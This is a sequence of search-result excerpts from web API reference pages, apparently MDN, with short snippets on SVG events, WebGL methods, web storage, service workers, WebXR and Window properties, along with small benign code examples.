... bubbles no cancelable no interface timeevent event handler property onbegin examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.cr...
...And 2 more matches
SVGAnimationElement: repeatEvent event - Web APIs
the repeatevent event of the svganimationelement interface is fired when the element's local timeline repeats.
... note: associated with the repeatevent event is an integer that indicates which repeat iteration is beginning; this can be found in the detail property of the event object.
... bubbles no cancelable no interface timeevent event handler property onrepeat examples animated circle <svg xmlns="http://www.w3.org/2000/svg" width="300px" height="100px"> <title>svg smil animate with path</title> <circle cx="0" cy="50" r="50" fill="blue" stroke="black" stroke-width="1"> <animatemotion path="m 0 0 h 300 z" dur="5s" repeatcount="indefinite" /> </circle> </svg> <hr> <ul> </ul> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg')...
...And 2 more matches
SVGExternalResourcesRequired - Web APIs
the svgexternalresourcesrequired interface defines an interface which applies to all elements where this element or one of its descendants can reference an external resource.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgexternalresourcesrequired" target="_top"><rect x="1" y="1" width="280" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgexternalresourcesrequired</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} warning: this interface was removed in the svg 2 specifi...
...cation.
...And 2 more matches
SVGGeometryElement.isPointInFill() - Web APIs
the point argument is interpreted as a point in the local coordiante system of the element.
... syntax boolean someelement.ispointinfill(dompointinit point); parameters point a dompointinit interpreted as a point in the local coordiante system of the element.
... return value a boolean indicating whether the given point is within the fill or not.
...And 2 more matches
SVGGeometryElement.isPointInStroke() - Web APIs
the point argument is interpreted as a point in the local coordiante system of the element.
... syntax boolean someelement.ispointinstroke(dompointinit point); parameters point a dompointinit interpreted as a point in the local coordinate system of the element.
... return value a boolean indicating whether the given point is within the stroke or not.
...And 2 more matches
SVGGraphicsElement: cut event - Web APIs
bubbles yes cancelable yes interface clipboardevent event handler property oncut the eventʼs default action is to copy the current selection (if any) to the system clipboard and remove it from the document.
... a handler for this event can modify the clipboard contents by calling setdata(format, data) on the event's clipboardevent.clipboarddata property, and cancelling the default action using event.preventdefault().
... note though that cancelling the default action will also prevent the document from being updated.
...And 2 more matches
SVGRect - Web APIs
WebAPISVGRect
an svgrect object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/svgrect" target="_top"><rect x="1" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties svgrect.x the exact effect of this coordinate depends on each element.
... specifications specification status comment geometry interfaces module level 1the definition of 'domrect' in that specification.
...And 2 more matches
SVGScriptElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1...
...a domexception is raised with the code no_modification_allowed_err on an attempt to change the value of a read only attribut.
... specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgscriptelement' in that specification.
...And 2 more matches
ScriptProcessorNode.bufferSize - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers.
...its value can be a power of 2 value in the range 256–16384.
...for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
...And 2 more matches
ScriptProcessorNode.onaudioprocess - Web APIs
note: as of the august 29 2014 web audio api spec publication, this feature has been marked as deprecated, and is soon to be replaced by audio workers.
... the onaudioprocess event handler of the scriptprocessornode interface represents the eventhandler to be called for the audioprocess event that is dispatched to scriptprocessornode node types.
...for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
...And 2 more matches
Selection.collapse() - Web APIs
if the content is focused and editable, the caret will blink there.
... syntax sel.collapse(node, offset); parameters node the caret location will be within this node.
... this value can also be set to null — if null is specified, the method will behave like selection.removeallranges(), i.e.
...And 2 more matches
ServiceWorkerGlobalScope.skipWaiting() - Web APIs
example while self.skipwaiting() can be called at any point during the service worker's execution, it will only have an effect if there's a newly installed service worker that might otherwise remain in the waiting state.
... therefore, it's common to call self.skipwaiting() from inside of an installevent handler.
... the following example causes a newly installed service worker to progress into the activating state, regardless of whether there is already an active service worker.
...And 2 more matches
ServiceWorkerState - Web APIs
during this state, extendableevent.waituntil() can be called inside the install event handler to extend the life of the installing worker until the passed promise resolves successfully.
... this is primarily used to ensure that the service worker is not active until all of the core caches are populated.
...during this state, extendableevent.waituntil() can be called inside the onactivate event handler to extend the life of the active worker until the passed promise resolves successfully.
...And 2 more matches
SourceBuffer.abort() - Web APIs
saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then immediately start performing operations on it again.
...}); sourcebuffer.appendbuffer(buf); let's say that after the call to appendbuffer but before the updateend event fires (i.e.
... in this case you would want to manually call abort() on the source buffer to stop the decoding of the current buffer, then fetch and append the newly requested segment that relates to the current new position of the video.
...And 2 more matches
Storage.removeItem() - Web APIs
the storage interface of the web storage api provides access to a particular domain's session or local storage.
... example the following function creates three data items inside local storage, then removes the image data item.
... function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); localstorage.removeitem('image'); } we can do the same for the session storage.
...And 2 more matches
StorageEstimate.usage - Web APIs
the storageestimate dictionary's usage property is a conservative approximation of how much storage is allotted to the origin or web app that called storagemanager.estimate(); there may be more space available, but there will not be less.
... the value is an estimate because the user agent may use compression, duplication prevention techniques, and other methods to improve storage efficiency.
... syntax usage = storageestimate.usage; value a numeric value specifying an approximation of the total amount of storage space available for use by the application.
...And 2 more matches
StorageEstimate - Web APIs
the storageestimate dictionary is used by the storagemanager to provide estimates of the size of a site's or application's data store and how much of it is in use.
... these values are only estimates for several reasons, including both performance and preventing storage capacity data from being used for fingerprinting purposes.
...it's possible that there's more than this amount of space available though you can't rely on that being the case.
...And 2 more matches
SubmitEvent.submitter - Web APIs
the read-only submitter property found on the submitevent interface specifies the submit button or other element that was invoked to cause the form to be submitted.
... syntax let submitter = submitevent.submitter; value an element, indicating the element that sent the submit event to the form.
... examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors such as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
...And 2 more matches
SubtleCrypto.wrapKey() - Web APIs
but because wrapkey() also encrypts the key to be imported, you also need to pass in the key that must be used to encrypt it.
... this is sometimes called the "wrapping key".
...it can be one of the following: raw: raw format.
...And 2 more matches
TextEncoder - Web APIs
textencoder.prototype.encodeinto() takes a usvstring to encode and a destination uint8array to put resulting utf-8 encoded text into, and returns a dictionary object indicating the progress of the encoding.
...in those cases a polyfill might be impractical for large strings.
...these sequences are not already precomputed because they serve to aesthetically illustrate how the polyfill works.
...And 2 more matches
TransformStream - Web APIs
async transform(chunk, controller) { chunk = await chunk switch (typeof chunk) { case 'object': // just say the stream is done i guess if (chunk === null) controller.terminate() else if (arraybuffer.isview(chunk)) controller.enqueue(new uint8array(chunk.buffer, chunk.byteoffset, chunk.bytelength)) else if (array.isarray(chunk) && chunk.every(value => typeof value === 'number')) controller.enqueue(new uint8array(chunk)) ...
...else if ('function' === typeof chunk.valueof && chunk.valueof() !== chunk) this.transform(chunk.valueof(), controller) // hack else if ('tojson' in chunk) this.transform(json.stringify(chunk), controller) break case 'symbol': controller.error("cannot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transformcontent, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by t...
...ncoder = new textencoder()}, transform(chunk, controller) { controller.enqueue(this.encoder.encode(chunk)) } } let _jstes_wm = new weakmap(); /* info holder */ class jstextencoderstream extends transformstream { constructor() { let t = {...tes} super(t) _jstes_wm.set(this, t) } get encoding() {return _jstes_wm.get(this).encoder.encoding} } similarly, textdecoderstream can be written as such: const tes = { start(){ this.decoder = new textdecoder(this.encoding, this.options) }, transform(chunk, controller) { controller.enqueue(this.decoder.decode(chunk)) } } let _jstds_wm = new weakmap(); /* info holder */ class jstextdecoderstream extends transformstream { constructor(encoding = 'utf-8', {...options} = {}) { let t = {...tds, encoding, option...
...And 2 more matches
URLUtilsReadOnly - Web APIs
these were then inherited by other interfaces, such as workerlocation.
... urlutilsreadonly has been removed from the specification, and the properties it defined are now directly part of the affected interfaces.
... urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location.
...And 2 more matches
UserDataHandler - Web APIs
summary when associating user data with a key on a node, node.setuserdata() can also accept, in its third argument, a handler which will be called when the object is cloned, imported, deleted, renamed, or adopted.
... per the specification, exceptions should not be thrown in a userdatahandler.
... in both document.importnode() and node.clonenode(), although user data is not copied over, the handler will be called.
...And 2 more matches
ValidityState.rangeOverflow - Web APIs
the read-only rangeoverflow property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's max attribute.
... if the field is numeric in nature, including the date, month, week, time, datetime-local, number and range types and a max value is set, if the value don't doesn't conform to the constraints set by the max value, the rangeoverflow property will be true.
... specifications specification status comment html living standardthe definition of 'validitystate.rangeoverflow' in that specification.
...And 2 more matches
ValidityState.rangeUnderflow - Web APIs
the read-only rangeunderflow property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's min attribute.
... if the field is numeric in nature, including the date, month, week, time, datetime-local, number and range types and a min value is set, if the value don't doesn't conform to the constraints set by the min value, the rangeunderflow property will be true.
... specifications specification status comment html living standardthe definition of 'validitystate.rangeunderflow' in that specification.
...And 2 more matches
ValidityState.stepMismatch - Web APIs
the read-only stepmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's step attribute.
... if the field is numeric in nature, including the date, month, week, time, datetime-local, number and range types and the step value is not any, if the value don't doesn't conform to the constraints set by the step and min values, then stepmismatch will be true.
... specifications specification status comment html living standardthe definition of 'validitystate.stepmismatch' in that specification.
...And 2 more matches
ValidityState.typeMismatch - Web APIs
the read-only typemismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's type attribute.
...without tld url x: or x://y.z protocol or full url with protocol examples given the following: <p> <label> enter an email address: <input type="email" value="example.com"/> </label> </p> <p> <label> enter a url: <input type="url" value="example.com"/> </label> </p> input:invalid { border: red solid 3px; } the above each produce a typemismatch because the email address is just a domain and the url has no protocol the typemismatch occurs when there is a disconnect between the value expected via the type attribute and the data that is actually present.
... specifications specification status comment html living standardthe definition of 'validitystate.typemismatch' in that specification.
...And 2 more matches
Vibration API - Web APIs
most modern mobile devices include vibration hardware, which lets software code provide physical feedback to the user by causing the device to shake.
... you may specify as many vibration/pause pairs as you like, and you may provide either an even or odd number of entries; it's worth noting that you don't have to provide a pause as your last entry since the vibration automatically stops at the end of each vibration period.
... canceling existing vibrations calling navigator.vibrate() with a value of 0, an empty array, or an array containing all zeros will cancel any currently ongoing vibration pattern.
...And 2 more matches
VideoPlaybackQuality.droppedVideoFrames - Web APIs
syntax value = videoplaybackquality.droppedvideoframes; value an unsigned 64-bit value indicating the number of frames that have been dropped since the last time the media in the <video> element was loaded or reloaded.
... this information can be used to determine whether or not to downgrade the video stream to avoid dropping frames.
... frames are typically dropped either before or after decoding them, when it's determined that it will not be possible to draw them to the screen at the correct time.
...And 2 more matches
VideoTrackList.onchange - Web APIs
the videotracklist property onchange is an event handler which is called when the change event occurs, indicating that a videotrack in the videotracklist has been made active.
... note: you can also add a handler for the change event using addeventlistener().
... syntax videotracklist.onchange = eventhandler; value set onchange to a function that should be called whenever a track is made active.
...And 2 more matches
VisualViewport - Web APIs
you can get a window's visual viewport using window.visualviewport.
... visualviewport.scale read only returns the pinch-zoom scaling factor applied to the visual viewport.
... var bottombar = document.getelementbyid('bottombar'); var viewport = window.visualviewport; function resizehandler() { if (viewport.scale > 1.3) bottombar.style.display = "none"; else bottombar.style.display = "block"; } window.visualviewport.addeventlistener('resize', resizehandler); simulating position: device-fixed this example, also taken from the visual viewport readme, shows how to use this api to simulate position: device-fixed, which fixes elements to the visual viewport.
...And 2 more matches
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
not all combinations are valid: u cannot be combined with f.
... syntax void gl.uniform1ui(location, v0); void gl.uniform2ui(location, v0, v1); void gl.uniform3ui(location, v0, v1, v2); void gl.uniform4ui(location, v0, v1, v2, v3); void gl.uniform1fv(location, data, optional srcoffset, optional srclength); void gl.uniform2fv(location, data, optional srcoffset, optional srclength); void gl.uniform3fv(location, data, optional srcoffset, optional srclength); void gl.uniform4fv(location, data, optional srcoffset, optional srclength); void gl.uniform1iv(location, data, optional srcoffset, optional srclength); void gl.uniform2iv(location, data, optional srcoffset, optional srclength); void gl.uniform3iv(location, data, optional srcoffset, optional srclength); void gl.uniform4iv(location, d...
...ata, optional srcoffset, optional srclength); void gl.uniform1uiv(location, data, optional srcoffset, optional srclength); void gl.uniform2uiv(location, data, optional srcoffset, optional srclength); void gl.uniform3uiv(location, data, optional srcoffset, optional srclength); void gl.uniform4uiv(location, data, optional srcoffset, optional srclength); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
WebGLRenderingContext.bindFramebuffer() - Web APIs
examples binding a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, framebuffer); getting current bindings to check the current frame buffer binding, query the framebuffer_binding constant.
... gl.getparameter(gl.framebuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindframebuffer' in that specification.
... opengl es 2.0the definition of 'glbindframebuffer' in that specification.
...And 2 more matches
WebGLRenderingContext.bindTexture() - Web APIs
examples binding a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); getting current bindings to check the current texture binding, query the gl.texture_binding_2d or gl.texture_binding_cube_map constants.
... gl.getparameter(gl.texture_binding_2d); specifications specification status comment webgl 1.0the definition of 'bindtexture' in that specification.
... opengl es 2.0the definition of 'glbindtexture' in that specification.
...And 2 more matches
WebGLRenderingContext.clear() - Web APIs
the preset values can be set by clearcolor(), cleardepth() or clearstencil().
... the scissor box, dithering, and buffer writemasks can affect the clear() method.
... syntax void gl.clear(mask); parameters mask a glbitfield bitwise or mask that indicates the buffers to be cleared.
...And 2 more matches
WebGLRenderingContext.getShaderParameter() - Web APIs
possible values: gl.delete_status: returns a glboolean indicating whether or not the shader is flagged for deletion.
... gl.compile_status: returns a glboolean indicating whether or not the last shader compilation was successful.
... gl.shader_type: returns a glenum indicating whether the shader is a vertex shader (gl.vertex_shader) or fragment shader (gl.fragment_shader) object.
...And 2 more matches
WebGLRenderingContext.hint() - Web APIs
when using the oes_standard_derivatives extension: ext.fragment_shader_derivative_hint_oes: accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth.
...the default value is gl.dont_care.
... gl.dont_care: there is no preference for this behavior.
...And 2 more matches
WebGLRenderingContext.isContextLost() - Web APIs
the webglrenderingcontext.iscontextlost() method returns a boolean indicating whether or not the webgl context has been lost and must be re-established before rendering can resume.
...in this case, all contexts are lost, then restored after switching gpus.
... another page running in the user's browser performs an operation using the gpu that takes too long, causing hte browser to decide to reset the gpu in order to break the stall.
...And 2 more matches
WebGLRenderingContext.uniform[1234][fi][v]() - Web APIs
they retain the values assigned to them by a call to this method until the next successful link operation occurs on the program object, when they are once again initialized to 0.
... many of the functions described here have expanded webgl 2 interfaces, which can be found under webgl2renderingcontext.uniform[1234][uif][v]().
... syntax void gl.uniform1f(location, v0); void gl.uniform1fv(location, value); void gl.uniform1i(location, v0); void gl.uniform1iv(location, value); void gl.uniform2f(location, v0, v1); void gl.uniform2fv(location, value); void gl.uniform2i(location, v0, v1); void gl.uniform2iv(location, value); void gl.uniform3f(location, v0, v1, v2); void gl.uniform3fv(location, value); void gl.uniform3i(location, v0, v1, v2); void gl.uniform3iv(location, value); void gl.uniform4f(location, v0, v1, v2, v3); void gl.uniform4fv(location, value); void gl.uniform4i(location, v0, v1, v2, v3); void gl.uniform4iv(location, value); parameters location a webgluniformlocation object containing the location of the uniform attribute to modify.
...And 2 more matches
WebGLShaderPrecisionFormat - Web APIs
the webglshaderprecisionformat interface is part of the webgl api and represents the information returned by calling the webglrenderingcontext.getshaderprecisionformat() method.
... properties webglshaderprecisionformat.rangemin read only the base 2 log of the absolute value of the minimum value that can be represented.
... webglshaderprecisionformat.rangemax read only the base 2 log of the absolute value of the maximum value that can be represented.
...And 2 more matches
Scissor animation - Web APIs
<p>webgl animation by clearing the drawing buffer with solid color and applying scissor test.</p> <button id="animation-onoff"> press here to <strong>[verb goes here]</strong> the animation</button> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.addeventlistener("load",...
...var gl, color = getrandomcolor(), position; function setupanimation (evt) { window.removeeventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); gl.clearcolor(color[0], color[1], color[2], 1.0); // unlike the browser window, vertical position in webgl is // measured from bottom to top.
...var size = [60, 60], velocity = 3.0; function drawanimation () { gl.scissor(position[0], position[1], size[0] , size[1]); gl.clear(gl.color_buffer_bit); // every frame the vertical position of the square is // decreased, to create the illusion of movement.
...And 2 more matches
Compressed texture formats - Web APIs
if supported, textures can be stored in a compressed format in video memory.
... as compressed textures require hardware support, therefore no specific formats are required by webgl; instead, a context can make different formats available, depending on hardware support.
...if supported, it will return an extension object with constants for the added formats and the formats will also be returned by calls to gl.getparameter(gl.compressed_texture_formats).
...And 2 more matches
Improving compatibility using WebRTC adapter.js - Web APIs
while the webrtc specification is relatively stable, not all browsers have fully implemented all of its features.
...while you can manually code around these issues, there is an easier way.
...the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support.
...And 2 more matches
WebSocket.send() - Web APIs
WebAPIWebSocketsend
if the data can't be sent (for example, because it needs to be buffered but the buffer is full), the socket is closed automatically.
... arraybuffer you can send the underlying binary data used by a typed array object; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
... arraybufferview you can send any javascript typed array object as a binary frame; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
...And 2 more matches
Targeting and hit detection - Web APIs
virtual object hit testing detection of collisions with virtual objects usually doesn't actually involve testing for intersection of the ray with one of the scene's polygons, as a typical scene may have hundreds or thousands of polygons, which makes direct tracing of rays to polygons impractical in most cases.
... instead, most applications find a way to simplify the implementation of their hit testing algorithms.
... it's possible—or even likely—that whatever 3d graphics engine you're using offers hit testing, especially if it's designed specifically for game development.
...And 2 more matches
Keyframe Formats - Web APIs
this is the canonical format returned by the getkeyframes() method.
... element.animate([ { // from opacity: 0, color: "#fff" }, { // to opacity: 1, ​ color: "#000" } ], 2000); offsets for each keyframe can be specified by providing an offset value.
... the easing to apply between keyframes can be specified by providing an easing value as illustrated below.
...And 2 more matches
Web Speech API - Web APIs
you can get these spoken by passing them to the speechsynthesis.speak() method.
... speechrecognitionresultlist represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode.
... speech synthesis speechsynthesis the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.
...And 2 more matches
The structured clone algorithm - Web APIs
things that don't work with structured clone function objects cannot be duplicated by the structured clone algorithm; attempting to throws a data_clone_err exception.
... property descriptors, setters, getters, and similar metadata-like features are not duplicated.
... for example, if an object is marked readonly with a property descriptor, it will be read/write in the duplicate, since that's the default.
...And 2 more matches
Window.closed - Web APIs
WebAPIWindowclosed
the window.closed read-only property indicates whether the referenced window is closed or not.
... examples change the url of a window from a popup the following example demonstrates how a popup window can change the url of the window that opened it.
... before attempting to change the url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them.
...And 2 more matches
Window.controllers - Web APIs
specification xul-specific.
... not part of specification.
... chrome code can add controllers (to be used in conjunction with the godocommand and goupdatecommand functions in globaloverlay.js).
...And 2 more matches
Window.innerHeight - Web APIs
the width can be obtained using the innerwidth property.
... syntax let intviewportheight = window.innerheight; value an integer value indicating the window's layout viewport height in pixels.
... to change the width of the window, call one of its resize methods, such as resizeto() or resizeby().
...And 2 more matches
Window: pageshow event - Web APIs
bubbles no cancelable no interface pagetransitionevent event handler property onpageshow examples this example sets up event handlers for events listed in the array events.
... javascript const events = [ "pagehide", "pageshow", "unload", "load" ]; const eventlogger = event => { switch (event.type) { case "pagehide": case "pageshow": let ispersisted = event.persisted ?
...try loading new pages into this tab, then navigating forward and backward through history, noting the events’ output to the log.</p> results specifications specification status comment html living standardthe definition of 'pageshow' in that specification.
...And 2 more matches
Window.screenTop - Web APIs
WebAPIWindowscreenTop
the window.screentop read-only property returns the vertical distance, in css pixels, from the top border of the user's browser viewport to the top side of the screen.
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
... in this example we are using screenleft/screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...And 2 more matches
Window.screenY - Web APIs
WebAPIWindowscreenY
the window.screeny read-only property returns the vertical distance, in css pixels, of the top border of the user's browser viewport to the top edge of the screen.
... examples in our screenleft-screentop example, you'll see a canvas onto which has been drawn a circle.
... in this example we are using window.screenleft/window.screentop plus window.requestanimationframe() to constantly redraw the circle in the same physical position on the screen, even if the window position is moved.
...And 2 more matches
Window.scrollX - Web APIs
WebAPIWindowscrollX
you can get the number of pixels the document is scrolled vertically from the scrolly property.
... syntax var x = window.scrollx; value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled horizontally from the origin, where a positive value means the content is scrolled to the left.
... if you need an integer value, you can use math.round() to round it off.
...And 2 more matches
Window.self - Web APIs
WebAPIWindowself
it can be used with dot notation on a window object (that is, window.self) or standalone (self).
...by using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to workerglobalscope.self).
...self) { // this window is not the first frame in the list } furthermore, when executing in the active document of a browsing context, window is a reference to the current global object and thus all of the following are equivalent: var w1 = window; var w2 = self; var w3 = window.window; var w4 = window.self; // w1, w2, w3, w4 all strictly equal, but only w2 will function in workers specifications specification status comment html living standardthe definition of 'window.self' in that specification.
...And 2 more matches
Window.statusbar - Web APIs
WebAPIWindowstatusbar
the window.statusbar property returns the statusbar object, whose visibility can be toggled in the window.
... <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.statusbar.visible=!window.statusbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as i...
...also be aware that dynamically updating the visibilty of the various toolbars can change the size of the window rather dramatically, and may affect the layout of your page.
...And 2 more matches
Window: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
...if the transitioncancel event is fired, the transitionend event will not fire.
...And 2 more matches
WindowEventHandlers.onunload - Web APIs
note: browsers equipped with pop-up blockers will ignore all window.open() method calls in onunload event handler functions.
...}; typically, it is better to use window.addeventlistener() and the unload event, instead of onunload.
... specifications specification status comment html living standardthe definition of 'onunload' in that specification.
...And 2 more matches
WorkerGlobalScope.self - Web APIs
most of the time it is a specific scope like dedicatedworkerglobalscope, sharedworkerglobalscope, or serviceworkerglobalscope.
... syntax var selfref = self; value a global scope object (differs depending on the type of worker you are dealing with, as indicated above).
... example if you called console.log(self); inside a worker, you will get a worker global scope of the same type as that worker object written to the console — something like the following: dedicatedworkerglobalscope { undefined: undefined, infinity: infinity, math: mathconstructor, nan: nan, intl: object…} infinity: infinity array: function array() { [native code] } arguments: null caller: null isarray: function isarray() { [native code] } length: 1 name: "array" observe: function observe() { [native code] } prototype: array[0] unobserve: function unobserve() { [native code] } __proto__: function empty() {} <function scope> arraybuffer: function arraybuffer() { [native code] } blob: function blob() { [native ...
...And 2 more matches
WorkerNavigator - Web APIs
such an object is initialized for each worker and is available via the workerglobalscope.navigator property obtained by calling window.self.navigator.
... workernavigator.permissions read only returns a permissions object that can be used to query and update permission status of apis covered by the permissions api.
... navigatorconcurrenthardware.hardwareconcurrencyread only returns the number of logical processor cores available.
...And 2 more matches
XDomainRequest.onprogress - Web APIs
this method is called periodically as an event handler for progress events on xdomainrequests, so that code can monitor progress while loading content.
... note: while handling this event, you can look at xdomainrequest.responsetext to get the response so far.
... once loading is complete, the xdomainrequest.onload event handler gets called.
...And 2 more matches
XMLHttpRequest() - Web APIs
the object must be prepared by at least calling open() to initialize it before calling send() to send the request to the server.
... non-standard firefox syntax firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see bug 692677).
... setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification.
...And 2 more matches
XREnvironmentBlendMode - Web APIs
all the device can do is add more light to the image; it can't make things get darker.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device.
... alpha blending can also be used by non-wearable devices that provide ar modes, such as phones or tablets using cameras to capture the real world for use in ar apps.
...And 2 more matches
XRFrame - Web APIs
WebAPIXRFrame
a webxr device api xrframe object is passed into the requestanimationframe() callback function and provides access to the information needed in order to render a single frame of animation for an xrsession describing a vr or ar sccene.
... events which communicate the tracking state of objects also provide an xrframe reference as part of their structure.
... in addition to providing a reference to the xrsession for which this frame is to be rendered, the getviewerpose() method is provided to obtain the xrviewerpose describing the viewer's position and orientation in space, and getpose() can be used to create an xrpose describing the relative position of one xrspace relative to another.
...And 2 more matches
XRHandedness - Web APIs
examples one important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space.
... function updateinputsources(session, frame, refspace) { for (let source of session.inputsources) { if (source.gripspace) { let grippose = frame.getpose(source.gripspace, refspace); if (grippose) { myrenderhandobject(grippose, inputsource.handedness); } } } } this function, which would be called every animation frame (or possibly just periodically, depending on the degree of smoothness required and any performance constraints), scans the list of input sources looking for any which have a gripspace which isn't null.
...assuming that's then valid, a function called myrenderhandobject() is called with the grip's pose and the value of handedness.
...And 2 more matches
XRInputSourceArray.length - Web APIs
the read-only length property returns an integer value indicating the number of items in the input source list represented by the xrinputsourcearray object.
... syntax let inputsourcecount = xrinputsourcearray.length; value an integer value indicating the number of xrinputsource objects representing webxr input sources are includled in the array.
... let sources = xrsession.inputsources; if (sources.length === 0) { showalertdialog("you need to have at least one controller to play super duper shark jump fest 9000.", [ { label: "shop now", url: "https://www.amazon.com/s?k=vr+controllers" }, { label: "quit" handler: quitgame } ]); } here, if length is 0, a hypothetical showalertdialog() function is called with a prompt string explaining the need for a controller, and an array of objects, each describing a button and what should happen when it's clicked.
...And 2 more matches
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
